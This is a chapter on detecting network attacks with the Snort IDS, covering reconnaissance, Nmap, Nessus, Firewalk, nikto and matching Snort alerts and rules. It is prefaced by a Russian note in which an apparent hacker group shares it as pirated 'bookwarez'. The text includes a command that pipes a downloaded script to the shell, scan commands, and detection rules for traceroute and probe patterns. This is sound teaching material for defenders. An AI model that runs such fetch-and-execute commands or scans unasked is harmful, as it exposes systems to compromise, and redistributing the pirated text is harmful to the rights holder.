=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
Snort IDS Book
-==-==-==-==-==-
Вероятно, все знают свободнораспространяемую сетевую IDS, которая называется
Snort [ snort.org ]. O'Reilly готовится издать книгу, посвященную этой системе.
На момент написания этих строк она еще не поступила в печать [ это должно
произойти только в апреле 2004 ]. Не смотря на то, что у нас эта книга есть в
полном объеме, мы решили опубликовать только одну из глав - пятую. Эта глава
посвящена атакам, все остальные - защите от них и соплям автора. Free bookwarez
was brought to u by defaced staff, enjoy ).
ЗЫ. естесственно, сейчас кто-то начнет орать, мол, хоть бы название и автора
привели. Ищите сами на сайте o'reilly по ключевому слову ``snort'' - почти что
try2hack )).
Chapter5: Detecting Malicious Attacks Using Snort
This chapter covers typical conventions used by attackers to compromise and
retain access to networked systems. Snort is the means by which we detect these
packets and identify those attacks launched by various cracking tools. As an
administrator better understands an attacker’s methodology, the better he or she
can defend against attacks against his or her network. Identifying those attacks
early on by means of an intrusion detection system such as Snort can be the
difference between saving your network from compromise and cleaning up systems
after they are taken over.
This chapter examines typical cracking tactics and how intruders initially
determine which systems are susceptible to attack. After probing the systems and
determining their security weaknesses, attackers launch either an all-out or
covert offensive. If the attack is too aggressive it may be detected, and if it
is too weak it may not be successful. Snort should be able, in most cases, to
alert the administrator before the attack progresses too far and systems are
brought down or compromised.
This section explains how attacks occur on your network or against specific
systems and how to recognize them for what they are using Snort. Understanding
how attackers operate assists administrators in better protecting affected
systems. Seeing these attacks as they appear in an IDS localized environment
also helps in using Snort and related IDS tools for verifying these types of
attacks and subsequently shutting them down or taking active steps to protect
your systems. This chapter explains possible strategies for use on your IDS
machines for detecting and resolving the system attacks outlined here.
These steps are the precursor to any sort of pro-active intrusion detection and
resulting prevention. Before undertaking any sort of defensive stance against
malicious packets invading or permeating your system, or implementing an
intrusion detection device you should be intimately aware of typical attack
methods and patterns. This chapter summarizes common attacks.
Exploiting Systems
In most cases, attackers will not blatantly risk their own systems to attack
other networks or machines. The risk of detection and reprisal is too great. The
same applies to you as a security administrator. If you detect an intrusion
attempt using tcpdump, Snort or any other IDS application or appliance, chances
are it is probably a reconnaissance mission and the attack is merely an
automated scan or test of your defenses. Automated scans report back what they
find to the attacker and if your network is secure you are most likely passed
over. Oftentimes it is the administrator who fights back or performs his or her
own scans against offending IP addresses that cyber attacks escalate.
Be aware that often those IP addresses logged as probes by the IDS do not belong
to the real attacker. These may be spoofed, masked, improbable IP addresses or
simply compromised hosts. Many are the instances that Snort reports attacks
originating from innocent IP addresses. Oftentimes attackers route through other
unsecured hosts to cover their tracks. Even if you follow the trail back a few
servers, routers or networks, you may not be able to track down the attacker’s
real address. Contacting the administrator of the offending IP or subnet and
informing them of their compromised box or open relay is the best chance for
slowing down attacks.
Save all tcpdump or Snort logs as proof. Administrators from other ISPs or
networks will want to see your logs to verify any claims of attack originating
from their network.
Reverse attacks seldom harm the real attacker. There is no such thing as a
“surgical strike” against offenders. The Internet is too closely interconnected
for a reverse attack to not incur collateral damage against innocent machines.
The best advice against preliminary attacks is to keep your machine secure and
stop rogue packets before they get through. Keep a close eye on all IDS logs for
possible incursions. Readily identifying possible attacks using an open source
IDS is the first step in keeping your network secure. Remember, it is never a
good idea to retaliate unless you know what you are doing. And even then this is
not recommended as it may only cause more problems.
Unless you are very confident in your networking abilities or would like to test
your mettle against an all-out attack, you are better off staying on the
defensive rather than offensive. In most instances the scans probing your
machines or network, which can be considered non-intrusive, should simply be
monitored in the event of an attacker escalating his or her attack. Corroborate
all current alerts generated by Snort against previous logs. Most crackers
adhere to a proven strategy. Your Snort logs may show a distinct pattern of
origination and signatures that can later be used against them.
The next few sections explain how attacks collect information about your system
and network defenses and how to implement some of the concepts covered in the
previous chapter on Snort. By creating rules specific to these types of probes,
scans, attacks and subversive attempts to gain access to internal machines the
IDS not only alerts the administrator but also empowers him or her to stop the
intrusion before the attacker gains a foothold.
Reconnaissance
Most reconnaissance probes against a network take place without the victim’s
knowledge. They are seldom detected by the network in question or by personnel
monitoring the systems. This is due not only to the passive nature of the
attack, but in some instances no packets ever touch the perimeter router, in
which case an IDS has little or no forewarning effect. Reconnaissance is better
known as “information gathering”. Just as a burglar initially “cases” a home or
business before the crime, true crackers find out as much information as
possible about the network they wish to attack before sending any packets that
way.
What follows is a list of common reconnaissance tactics. These are typical
methods attackers use to gather information about the network, IP address range
or business they wish to attack.
WHOIS, ARIN and DNS lookups
Gleaning data from off corporate web sites
Web-based reconnaissance
General reconnaissance using Sam Spade, IP Tools, etc.
The victimized network is not always purposefully sought out. “Drift net” scans
or blindly probing large subnets for vulnerable devices sometimes brings a
network onto the radar screen. Such is the importance of staying current with
patches and closing susceptible ports.
The first reconnaissance tactic is to gather information regarding the IP
addresses owned or managed by a particular company or who the contact people are
or even what the physical address or location of the company might be. Some of
the more useful sites for finding out this information are as follows:
http://www.networksolutions.com/en_US/whois/index.jhtml
Perform a lookup on the administrative, technical and billing contacts for a
particular domain name.
http://www.arin.net/
Search for the registrant and IP address range of a particular IP. Useful for
tracking down offending IP addresses.
http://www.bankes.com/nslookup.htm
Execute multiple DNS lookups on IP addresses or domain names. This site is used
for performing both forward and reverse name resolution. It is comparable to the
Linux command line nslookup or dig commands.
There are several other free WHOIS services available on the Internet. Each one
offers virtually the same information that can be gleaned from the main Network
Solutions page. A simple search shows sites such as http://www.hyperwhois.com/
and http://www.accesswhois.com/. Attackers commonly use sites as these to locate
domain names pending expiration. Network Solutions and Verisign have also proved
most accommodating recently by providing alternative misspellings of common
domain names. Both of these features are useful when attempting to take over a
domain or redirect normal commerce traffic to another site by means of
subversion.
It is suggested that you check these sites for information regarding your own
company. If too much data is accessible from off the Internet or if you wish to
minimize your company’s exposure, look into resubmitting the correct forms to
Network Solutions or to your domain name provider. Also, update the information
contained on the ARIN site by modifying the RWHOIS records.
Another commonly used reconnaissance tactic is to gather data from the corporate
web site. Most companies list not only their physical address, but also provide
maps and instructions to their location. A search on a typical business site
oftentimes shows not only the President’s or CEO’s name and all other higher
management personnel, but it may also provide an email address and phone number.
These become useful later when performing social engineering. The email address
assists in DNS requests and MX record lookups. Again, minimize the amount of
data you are willing to share with stranger by censoring your corporate web page.
There are several free tools for Windows-based machines that execute commands
similar to those found on Linux. The two I mention here are Sam Spade and
IP-Tools. Their URLs are listed at the end of this chapter. The former is free
while the latter currently requires a $35 registration fee. Both of these
utilities provide Windows users with much the same functionality as Linux. They
offer many of the same features, including webcrawling utilities, real time
blackhole lists for determining the IP addresses of repeat spam offenders, ping,
whois, dig and traceroute utilities. The IP-Tools application does have some
added functionality such as port and NetBIOS scanning similar to that of Nmap
for Linux, along with a telnet utility. It also performs netstat commands on the
local machine to show open ports and listen for connections.
There are several other DNS query tools available for use directly off a web
page. For more specific queries, such as the type and version of web server
running a particular domain, the ID Serve utility hosted at http://www.grc.com/
is useful for determining the version and release number of any web server on
the Internet. This falls into the web-based reconnaissance category. Typing in
any domain name or IP address displays the web server version currently
installed and operational and any additional plugins, such as the PHP release.
Steve Gibson also hosts at his site, grc.com, a utility termed Shields UP for
probing a local machine’s IP address and firewall as well as finding open ports.
This is useful for self evaluations and determining just how accessible your own
machine may be from the Internet. A free IP Agent utility available for download
performs the same function as the web-based application.
Another web-based port scanning tool is Broadband Reports formerly of
http://www.dslreports.com/. A small java applet appears in the web browser
window and scans for any responses to certain ping types. The site also lists
the percentage of commonly open ports. The Security section provides a forum for
looking up specific port numbers or service types. A similar utility for testing
your own machine for survivability in the event of a Denial of Service attack
can be found at: http://www.doshelp.com/dostest.htm.
Social Engineering
Do not disregard the seriousness of this type of reconnaissance. It can perhaps
be the most effective tool used against a company or business. Because most
employees would rather compromise their employer’s security than risk losing
their own jobs, it is important to convey the importance of this risk to
personnel who deal with outsiders on a day-to-day basis. Unfortunately, at
present time there exists no IDS against social engineering. However, a healthy
dose of paranoia deters most intrusion attempts.
In a recent security audit at an affiliated company an email was sent to all
employees requesting they click on a link to update their computer. Those that
did were notified they had just broken security protocols and had emailed a
wealth of machine information to an outside source. This was a highly effective
yet simple test that revealed those individuals who might act without thinking.
The same applies to any attacker disguised as a pizza delivery person or utility
worker. Rather than risk the ire of co-workers or supervisors, many
receptionists simply “buzz” a person in even if they cannot be properly
identified. All employees should be aware of the risks associated with
implicitly trusting anyone who appears at the front door.
Command Line Applications
Here are just a few of the many freely accessible utilities for performing
reconnaissance against networks, domains or businesses. Most of these tools are
included by default with standard Linux distributions. But for those who still
use Microsoft Windows-based machines, please see the previous section for a
compendium of similar utilities included in a single toolset. If you are
thinking of doing any serious security evaluations consider migrating to a
Linux, FreeBSD or some other hardened UNIX-based system.
The following list includes commands normally executed from the command line.
Check your distribution to verify if you need root access to run these commands.
Also, verify if they are accessible in your user’s path. If any of these tools
might be a concern to your network’s security, disable their execution on your
perimeter firewall, router or internal network device. Check with the hardware
manufacturer for exact instructions on shutting down these services.
ping
Send an ICMP packet to another host for connectivity testing.
traceroute
Follow the hops back to the destination IP address or domain.
dig or nslookup
Perform a lookup on a domain name or IP address. Use variables such as set
query=mx or server to define specific items within the record or when connecting
to outside DNS servers.
finger
This antiquated utility is still sometimes left open on people’s machines. This
tool is useful for finding out more about the available user accounts on a
system.
iptraf
Monitor the packets flowing in and out of your network on a particular interface.
file
Test the exact format of a suspicious file downloaded off the Internet. This is
helpful for determining if a file is in binary or ASCII text format. It also
describes a wide variety of other file formats.
diff
Compare the differences or changes between two files.
md5sum
Verify that the hashed value of a file has not been altered by another party.
This command is used against a file and the MD5Checksum value.
lsof
List all open files on the system.
netstat
Monitors open ports and ports that are in a listening state.
Most responsible system administrators and network engineers disable these
reconnaissance applications against their networks for exactly that reason; they
do not want anyone on the outside to be able to ping or traceroute to an
internal host. Though a server’s Fully Qualified Domain Name (FQDN) may be
listed in DNS and can be looked up anywhere on the Internet, only those ports or
functions it serves should be accessible from outside. For example, a web server
should not be “pingable” from anywhere. Neither should anyone be able to trace
back to an internal or a DMZ-based IP address from an external location. The
same applies to connecting to any port other than port 80 or 443 on said web
server.
If you are uncertain about your network’s security or what might be open from
the outside, configure a machine external to your network and test for open
ports. Run the latest Nmap utility and print out the results. Review your IDS
machine’s logs and verify that your connection and scan attempts were recorded.
Scanning and Probing
There are many tools available for testing a network’s weaknesses. This section
covers only a few of the more basic and well-known ones. It first examines
network mapping and then looks at vulnerability scans and explains how to detect
scans and probes conducted against your network using Snort. Next, it discusses
war dialing and war driving using wireless access points, bridges and devices.
These are normally not detectable by Snort unless the intruder is able to
establish a connection with the internal network. However, there are some tools
available for Linux that pick up where Snort leaves off in the wireless field.
Finally, this section explains how to bypass common security protocols,
including disabling intrusion detection systems. These types of intrusions are
more difficult to detect with Snort, but it is still possible.
Network Mapping
Just as the previous section on reconnaissance is equated with “casing” a
building or business from the outside before the actual crime, mapping the
network or performing network scans is analogous to checking the floor plans or
architectural drawings for possible break-in locations or exit points. The
mapping portion can be considered both an external as well as internal function.
No intrusion has yet been committed, but once external packets begin hitting
your network for mapping purposes, Snort and IDS systems and sensors should
alert you to their presence.
Possible points of entry into a network are able to be mapped from the outside,
but optimally an internal scan provides more details. It is not without
precedence for stealthy attackers to bring a wireless device, such as an iPAQor
some other wireless PDA, into an office and velcro it to the underside of a
table or some other hidden location, and collect packets generated by
unencrypted or even encrypted access points and return later to collect the
device and information. A days worth of sniffed data shows networked machines,
IP addresses, hostnames, passwords, and vulnerable points for later attack.
Physical access in most cases is a limited possibility. Port mapping a network
from the outside is normally the best option for detecting vulnerabilities.
Nmap Port Scans
One of the most widely used network mappers or port scanners is Nmap. Fyodor,
the author, describes his tool in the following manner, “Nmap or ‘Network
Mapper’ is an open source utility for network exploration or security auditing.
It was designed to rapidly scan large networks, although it works fine against
single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are
available on the network, what services (ports) they offer, what operating
system (and OS version) they are running, what type of packet filters/firewalls
are in use, and dozens of other characteristics”.
Nmap is available for systems including nearly all BSD variants, Solaris and
Linux. Nmap can be used from the command line as a console tool or in its
graphical release. It is started from the prompt with the command nmap. The
graphical version is initiated using nmapfe, short for “nmap front end”. Nmap is
best run as root so all options are granted to the user.
Consult the Nmap home page at http://www.insecure.org/nmap/ for all available
options and the latest source code. Nmap comes in both source and RPM formats.
It is included as a standard package with most Linux distributions, including
Red Hat. You can choose to install it initially or compile later from source.
Figure 5-1 shows Nmap when run as root. This is how Nmap typically appears when
run in its graphical mode.
Insert Figure 5-1 here. Use file idsbook0501.png
The main interface for the Nmap tool.
Selecting different variables within Scan Options or General Options customizes
the stealthiness of the scan. The output as it appears on the command line is
also displayed directly below the options. By noting the syntax appearing below
the same scan can be run from the console or directly off the command line.
After selecting a target IP address, subnet or domain name, execute the scan.
The output displays in the lower box. All detected open ports are shown here
with the service name and port number. When verbose information is displayed,
Nmap generates a difficulty rating. If you practiced “safe security” and were
diligent in patching the machine, the security level should be fairly high. Only
older machines with many open ports will be easier to crack. The final text can
be saved for later perusal.
The latest release of Nmap not only shows the open ports, but also performs
fingerprinting on the service and displays the software version and release
currently running on that port. This means that not only will I know if a port
is open, but I will also see the Apache version and the current PHP release
running on my system. Run the latest Nmap release against machines that are
visible to others on the Internet. If any appear to require updates now is the
time to think about moving to the latest software release. It is always better
to know just how naked you appear to others before exposing yourself to the
world.
The latest Nmap is best run from the command line for a detailed report on
available services. Here is what a scan showed against a typical vanilla machine.
# nmap -A -T4 -F localhost
Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-09-17 19:36 MDT
Interesting ports on localhost (127.0.0.1):
(The 1203 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
21/tcp open ftp vsFTPd 1.1.3
22/tcp open ssh OpenSSH 3.5p1 (protocol 2.0)
25/tcp open smtp Sendmail smtpd Secure/Rabid
80/tcp open http Apache httpd 1.3.28 ((Unix) PHP/4.3.2)
110/tcp open pop3 UW Imap pop3 server 2001.78rh
6000/tcp open X11 (access denied)
Device type: general purpose
Running: Linux 2.4.X|2.5.X
OS details: Linux Kernel 2.4.0 - 2.5.20
Uptime 9.486 days (since Mon Sep 8 07:56:31 2003)
Nmap run completed -- 1 IP address (1 host up) scanned in 16.151 seconds
Be aware that Nmap scans are useful for testing Snort installations. Because
Nmap is noisy when run in its default setting, Snort will quickly alert you when
it detects a port scan. This tool is useful for testing Snort’s effectiveness
and for keeping watch of sensitive equipment. Most Nmap scans readily show up in
the alerts file or via the ACID web page. Existing signatures that alert
administrators to Nmap scans can be customized to suit.
Here is just one example alert of several possible that appear in the Snort
alert log when Nmap is run against the machine in question.
[**] [1:469:1] ICMP PING NMAP [**]
[Classification: Attempted Information Leak] [Priority: 2]
09/18-02:58:18.144568 64.147.136.144 -> 209.63.147.19
ICMP TTL:22 TOS:0x0 ID:51496 IpLen:20 DgmLen:28
Type:8 Code:0 ID:44209 Seq:8907 ECHO
[Xref => arachnids 162]
There are also Nmap specific scans that show up in the Snort alert log. These
range from Nmap web-based attacks to fingerprint attempts (much like the example
scan shown above) to TCP scans. Once ACID is running together with Snort,
consult your logs frequently for network scans and connection attempts. Some
Nmap scans may be stealthy connection attempts so also look for SNMP requests
and proxy scans, which are fairly typical of these types of scans.
A quick word of caution. Those of you reading this book who think you are now an
“elite hacker” or that this and the other outlined tools will assist in cracking
other systems, do not be fooled. Simply running Nmap against other computers
will do no such thing. All Nmap does is show open ports and available software
versions. It is up to you to follow up on locating available exploits for those
ports and applications. Most people do not take kindly to network port scans.
Consider yourself warned.
Now that you know how to look for open ports on a single box or an entire
network as well as detect their presence within your network, initiate further
intensive follow-ups to exploits on available services and ports. Monitor your
IDS logs closely and take note of the signatures registered by Snort. These same
tools are those used by crackers.
Here is where the knowledge gained from the previously mentioned web-based
reconnaissance sites can be put to use. Home pages such as Cert, Sans and
SecurityFocus help locate known vulnerabilities. Consult the sections labeled
Vulnerabilities, News & Vulnerabilities or Bugtraq respectively. These sites
have search options and in addition to the exploit there are instructions for
rectifying the issue or removing it from detection.
Mapping Internal Hosts with Cheops-ng
Having determined where the vulnerabilities and open ports lie as seen from
outside your network or even from within, begin mapping your internal network in
more detail. A visual map provides a waypoint for later reference if and when
any systems are compromised. You can refer back to your Snort logs and determine
how the attack was carried out virtually and then render it graphically. This
helps shore up defenses against future assaults.
To create a GUI rendering of your network along with all detected machines and
their operating systems, I recommend cheops-ng (or cheops next generation), the
open source equivalent of HP OpenView. The difference between cheops-ng and its
predecessor cheops is that the former is under active development while the
latter has since been abandoned. Cheops-ng is also awaiting monitoring
capabilities, which the author expects “sometime soon” (read “when he gets
around to it”).
Cheops-ng is available in both source and RPM format, along with a port for
FreeBSD. Installation is simple using the standard RPM or compilation commands
provided with the code. Cheops-ng requires both an agent running on the server
and a client to provide the actual interface. Start the client from the command
line and then connect to the agent by typing in the IP address of the machine on
which the agent was started. I suggest mapping a network range rather than
simply probing all available IP addresses. As it generates images for each
networked machine, cheops-ng also uses Nmap to detect the operating system
running on that box. Each machine is imaged accordingly. Though a specific
cheops-ng scan of your system may not show up in your Snort logs, the Nmap scan
and multiple pings may. Be aware of the difference between the two and what
these separate alerts mean together.
Figure 5-2 is the GUI interface generated by cheops-ng. The objects shown are
those detected within an internal network.
Insert Figure 5-2 here. Use file idsbook0502.png
A graphical network map generated by cheops-ng.
Once a subnet or network is mapped, it can be stored for later perusal. This is
useful for verifying if any new machines or systems not authorized for use on
the network have been installed by other users or if new IP addresses have been
enabled on existing machines. Unauthorized activation of available IP addresses
may be a factor indicating a compromised system. A network map provides a
security thumbprint that can be used for identifying vulnerable hosts. Use these
virtual network fingerprints together with the IDS to locate and identify any
new systems or existing machines under attack or susceptible to attack.
Cheops-ng is easily customizable. Though it is still immature and may not
operate well on newer systems, cheops-ng provides a simple interface for most
users.
Knowing what ports are open along with a graphical representation of the
machines and their respective operating systems, you can begin digging deeper
into what types of issues may be present on your network.
Vulnerability Scans
Staying abreast of security issues and knowing what faults lie in your system
before others find them is a crucial element to keeping your network secure.
Being able to read the logs and alerts generated by Snort and subsequently being
able to create new rules and filters that detect future intrusion attempts is
also important to keeping the network secure. In order to stay abreast of the
latest exploits most security administrators employ some form of vulnerability
detection scanner. This is usually a tool containing current signatures or
intrusion tactics which are run against a single system or an entire network.
The results show what types of security holes are present. However, due to the
unpredictable nature of exploits and their method of detection, no single
vulnerability scanner should be taken at face value. It is recommended that
several be employed to gain a broader perspective on any possible network
issues. Just as a proprietary intrusion detection system should be backed up
using an open source equivalent, so too should there be multiple checks on
network security and intrusion tactics using a variety of vulnerability scanners.
One of the most popular network vulnerability tools employed by security
auditors is Nessus. It is free, manageable even by beginning Linux users and
displays the data in an easy-to-understand format. It also suggests what
measures to take to fix any listed problems. As mentioned, Nessus should not be
implicitly trusted. False positives are a frequent occurrence and corroborating
evidence is suggested before taking aggressive measures against any system.
Because Nessus is manageable even by new Linux users, it is often abused. As
such, Nessus probes and scans readily show up in Snort alerts. There are a
variety of Snort signatures that detect a typical Nessus scan. These are
classified normally as attempted-recon and as such fall under a classtype 2
categorization or have a Medium severity. Nessus scans are serious infractions
and should be considered a potential threat. Just because they are normally
classtype 2 does not mean the information they gather may not affect you later.
Some alerts reference Nessus by name and indicate the type of scan executed.
Here is just one of many sample alerts that cites Nessus as the infringing
application.
[**] [1:2123:1] ATTACK-RESPONSES Microsoft cmd.exe banner [**]
[Classification: Successful Administrator Privilege Gain] [Priority: 1]
07/06-03:43:35.260524 192.168.10.10:80 -> 172.16.10.24:39859
TCP TTL:43 TOS:0x0 ID:14490 IpLen:20 DgmLen:1420 DF
***A**** Seq: 0x4B8CAFC7 Ack: 0xB70330F3 Win: 0x1ADC TcpLen: 32
TCP Options (3) => NOP NOP TS: 819946065 234845960
[Xref => nessus 11633]
In this example log, Nessus was run on a system within the 192.168.10 subnet
against a box with an IP address of 172.16.10.24. Snort classified this as a
“Successful Administrator Privilege Gain” intrusion. Look for alerts similar to
this one in your own logs. These are indicative of Nessus scans. Because they do
reveal much about your network to outside parties they should be considered a
serious infringement against your network security policy. Take the necessary
steps to lock down relevant systems against possible intrusion attempts.
Nessus is also a robust tool for testing internal servers for the latest
exploits or security holes. There are currently three different methods of
downloading and installing Nessus. The first method is termed the most dangerous
in that you are executing commands originating directly off the Internet. If
someone is poisoning your DNS cache, he or she may be able to execute arbitrary
commands as the user typing this command. One good point about this first method
is that it completely automates the installation of Nessus. If you are not under
attack or if your network is reasonably secure, you can save some time using
this method.
$ lynx -source http://install.nessus.org | sh
It is equally important that you do not execute this command as root and that
you have the console web browser, lynx, installed. Most other text-based web
browsers work just as well. The second method is less dangerous and assists in
automating the install as well. Download the installer file and execute it as a
shell script.
# sh nessus-installer.sh
The script prompts you as you go so even beginners can perform an installation.
This is how I recommend installing Nessus as it goes quickly and prompts you for
input.
The last method involves compiling all source code by hand. There are four files
available for download that should be installed in the following order;
nessus-libraries, libnasl, nessus-core and nessus-plugins. Place them in a
secure location, uncompress the files, then run the configure, make and make
install commands as suggested.
When installation is complete, create the Nessus certificate with the command
/usr/local/sbin/nessus-mkcert and then add a Nessus user,
/usr/local/sbin/nessus-adduser. Choose a username and password other than root
and separate from that of your normal Linux username and password.
Once the program is installed and a certificate and user are added, start the
Nessus daemon with the command:
# /usr/local/sbin/nessusd -D &
To automate startup of the server after a reboot, place this command on a line
in the /etc/rc.d/rc.local file. Remember, the Nessus daemon must be running for
the Nessus client to run. Keep you Nessus application up to date with the latest
plugins by running the command /usr/local/sbin/nessus-update-plugins. This same
command can be placed in a cron job and run nightly.
Start the Nessus client from the command line as a regular user. You will be
warned that all dangerous plugins, or those that have the ability to crash a
system, have been disabled. If you want a complete security audit you must
re-enable them by running Nessus as root.
There are varying levels of testing available for use with the Nessus client.
Before trying anything familiarize yourself with the available Plugins,
Preferences, Scan options, and Target selection possibilities. Security scans
can be customized to be extremely non-intrusive and last for several hours, or
they can blast away at a network or a single box while employing all the local
machine’s available CPU power and memory to run the scan.
Figure 5-3 is a sample screen shot of the available plugins that can be enabled
during a test scan. Note the checkboxes to the far-right of the listed plugins.
Insert Figure 5-3 here. Use file idsbook0503.png
Enable or disable available plugins in Nessus depending on the type of scan.
A typical network scan can include multiple servers or systems at the same time.
The more machines you select to scan, however, the higher the CPU load on your
system and the slower the results. When completed the scan’s final results are
displayed in a window much like that shown in Figure 4-4. Here you can burrow
down into the findings and view the warnings, notes or security holes detected
by Nessus, along with recommended solutions.
Insert Figure 5-4 here. Use file idsbook0504.png
Viewing the final Nessus report.
I strongly encourage users to save the report when done. This can be useful
later when running follow-up scans. The report itself is saved in a variety of
formats including NBE (a proprietary Nessus format), NSR (an older deprecated
Nessus style), XML, HTML, LaTeX, ASCII text, or even in HTML format with pies
and graphs. The last option is useful when running scans for other companies who
want clean and easy-to-read results. Use whatever works best for the purposes of
securing your machine or network.
Firewalk With Me
Another useful tool for testing network security is Firewalk. This application
is, according to the developer, “an active reconnaissance network security tool
that attempts to determine what layer 4 protocols a given IP forwarding device
will pass”. In other words, it looks for those filters or rules situated on a
firewall and determines the open ports on that device. It operates by sending
out TCP or UDP packets with a Time-To-Live (TTL) one greater than that of the
targeted forwarding gateway or firewall. Firewalk operates on the same principle
as that of traceroute.
Rather than using Nmap to send packets to an end system to determine what ports
are open, Firewalk sends packets through a packet filtering device such as a
firewall or router to see what ports are open on the other side. Firewalk is
geared specifically for use against firewalls and routers employing Access
Control Lists (ACLs), hence its name. Whereas Nmap cannot differentiate between
what port might still be open on an end machine and what is firewalled by an
external firewall or router, since both are automatically dropped if configured
correctly on the security side. Firewalk, however, can determine if a packet is
able to pass through a firewall and on to a given port on the other side. This
is handy not only for testing stateful packet inspection on proprietary
firewalls, but also for testing Linux machines operating as firewalls using
iptables. Firewalk tests those ports allowing traffic to enter.
This information is commonly used for probing network segments, such as a DMZ or
internal network through open ports. For example, if you allow traffic to pass
through your firewall on port 23 (telnet), but telnet is not enabled on any
system within your network or no machine is listening on that port, there should
be nothing to worry about, right? Wrong. The attacker now knows that that port
is open, even if nothing is listening. What happens when someone configures a
new Linux machine and decides to leave port 23 open by default. Presto! The
attacker knows this and can connect to the new device. If that same user decided
to install an older version of Linux with an exploitable version of telnet the
attacker can easily log in. Even if you think nothing is listening on a certain
port within your network, are you certain your firewall is filtering out those
ports?
The Firewalk source can be downloaded from off its main home page at
http://www.packetfactory.net/. It is dependent on a couple other programs
including libnet and libdnet. The former is available at the same site as
Firewalk while the latter is a Sourceforge project. All URLs for each
application are listed at the end of this chapter.
Install the libraries first and then Firewalk. The syntax to compile and install
is the same for all:
# ./configure && make && make install
If you wish to view the man pages, issue the following command within the source
code directory.
$ nroff -man man/firewalk.8 | less
Running Firewalk is a bit more complex. It operates much like traceroute while
checking for open ports. You define the open port range, the protocol and
various other options. The program itself is normally run as root and requires
two IP addresses, the IP address of the gateway before firewall filtering takes
place and an IP address of some machine on the other side of the firewall. This
requires some insider knowledge, but this is easily gained by performing an
nslookup or some other DNS query for a known box internal to another company or
network.
In the following example I use an internal IP address and a destination address
outside of my network.
# /usr/local/sbin/firewalk -n -p TCP 192.168.24.1 206.71.77.2
Firewalk 5.0 [gateway ACL scanner]
Firewalk state initialization completed successfully.
TCP-based scan.
Ramping phase source port: 53, destination port: 33434
Hotfoot through 192.168.24.1 using 206.71.77.2 as a metric.
Ramping Phase:
1 (TTL 1): expired [192.168.24.1]
Binding host reached.
Scan bound at 2 hops.
Scanning Phase:
port 1: open (expired) [192.168.0.1]
port 2: open (expired) [192.168.0.1]
port 3: open (expired) [192.168.0.1]
port 4: open (expired) [192.168.0.1]
port 5: open (expired) [192.168.0.1]
port 130: open (expired) [192.168.0.1]
port 139: open (expired) [192.168.0.1]
port 1025: open (expired) [192.168.0.1]
Scan completed successfully.
Total packets sent: 133
Total packet errors: 0
Total packets caught 133
Total packets caught of interest 133
Total ports scanned 132
Total ports open: 132
Total ports unknown: 0
Based on these figures there are several open ports of interest for outbound
connections that should be further investigated. Obviously, this firewall allows
nearly all outgoing connections. A scan from the outside looking in would most
likely reveal many closed ports. This is yet another reason to test firewalls,
particularly yours, both for outgoing as well as incoming open ports.
With Snort running, a Firewalk intrusion attempt would show up as multiple
traceroute queries attempting to access internal hosts from the outside. A
simple scan of the logs quickly shows that there are varied rules that capture
tracroute requests.
A simple grep of the default rules included with Snort shows varying levels of
traceroute queries that may be triggered by the Firewalk scan. The first field
indicates the file under which the rule is found. Notice that the first two
rules ate attempted reconnaissance while the last is classified as a web
application attack. Firewalk would most likely fall under the last
categorization.
icmp-info.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP
traceroute";ttl:1;itype:8; reference:arachnids,118; classtype:attempted-recon;
sid:385; rev:3;)
icmp.rules:alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP traceroute
ipopts"; ipopts: rr; itype: 0; reference:arachnids,238;
classtype:attempted-recon; sid:475; rev:1;)
web-attacks.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-ATTACKS traceroute command attempt"; flow:to_server,established;
content:"traceroute%20";nocase; sid:1358; classtype:web-application-attack;
rev:4;)
In all, the Firewalk utility has several options for testing and discovering
interesting ports throughout networks. By checking both TCP and UDP ports and
refining the search over time, an attacker can get a very accurate picture of
what is being allowed in and what is denied. Again, this allows outsiders to map
a fairly accurate picture of your network, only rather than graphical icons
representing machines, the attacker knows the open ports.
Again, if you are running Snort as an IDS the Firewalk probe would show up as a
traceroute query. The best defense against this type of probe is to disable
traceroute packets from entering your network. Simply disallowing ICMP TTL
Exceeded messages from leaving your system is sufficient. Another tactic against
something like Firewalk is to use a proxy server along with Network Address
Translation (NAT) from probing addresses and systems behind your firewall.
Web Page Scans
Another network scanner of note is nikto. The application formerly known as
Whisker, nikto is a CGI probe that performs comprehensive tests against web
servers for multiple items. This includes detecting over 2200 potentially
dangerous files or CGIs on over 140 servers and various problems on over 210
servers. This software uses the LibWhisker libraries from Rain Forest Puppy Labs
(rfp.labs) or http://www.wiretrip.net/rfp/ as a base for all network detection.
Nikto is not an overly stealthy tool. It tests a web server in the shortest time
span possible and its probes are readily apparent in the web server’s log files.
Most IDS programs will detect a nikto probe, particularly if you are using an
open source variant such as Snort. There are entire categories of signatures
included with Snort that define web attack and web cgi rules. Nikto will appear
quite plainly in your alerts. The name nikto may not be seen, but a flurry of
web CGI alerts do show up in the Snort logs in the event a scan is run against
the web servers.
Here are just a few of the possible rule triggers within the Snort rules that
can be set off by a whisker-based or nikto scan. These are all categorized as
miscellaneous web rules. A URL is provided along with the rules for more
information on identifying whisker-based scans.
web-misc.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC whisker HEAD/./"; flow:to_server,established; content:"HEAD/./";
classtype:attempted-recon;
reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; sid:1139;
rev:6;)
web-misc.rules:# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC whisker HEAD with large datagram"; content:"HEAD"; offset: 0;
depth: 4; nocase; dsize:>512; flow:to_server,established,no_stream;
classtype:attempted-recon;
reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; sid:1171;
rev:7;)
web-misc.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC whisker space splice attack"; content:"|20|";
flow:to_server,established; dsize:1; reference:arachnids,296;
classtype:attempted-recon;
reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; sid:1104;
rev:6;)
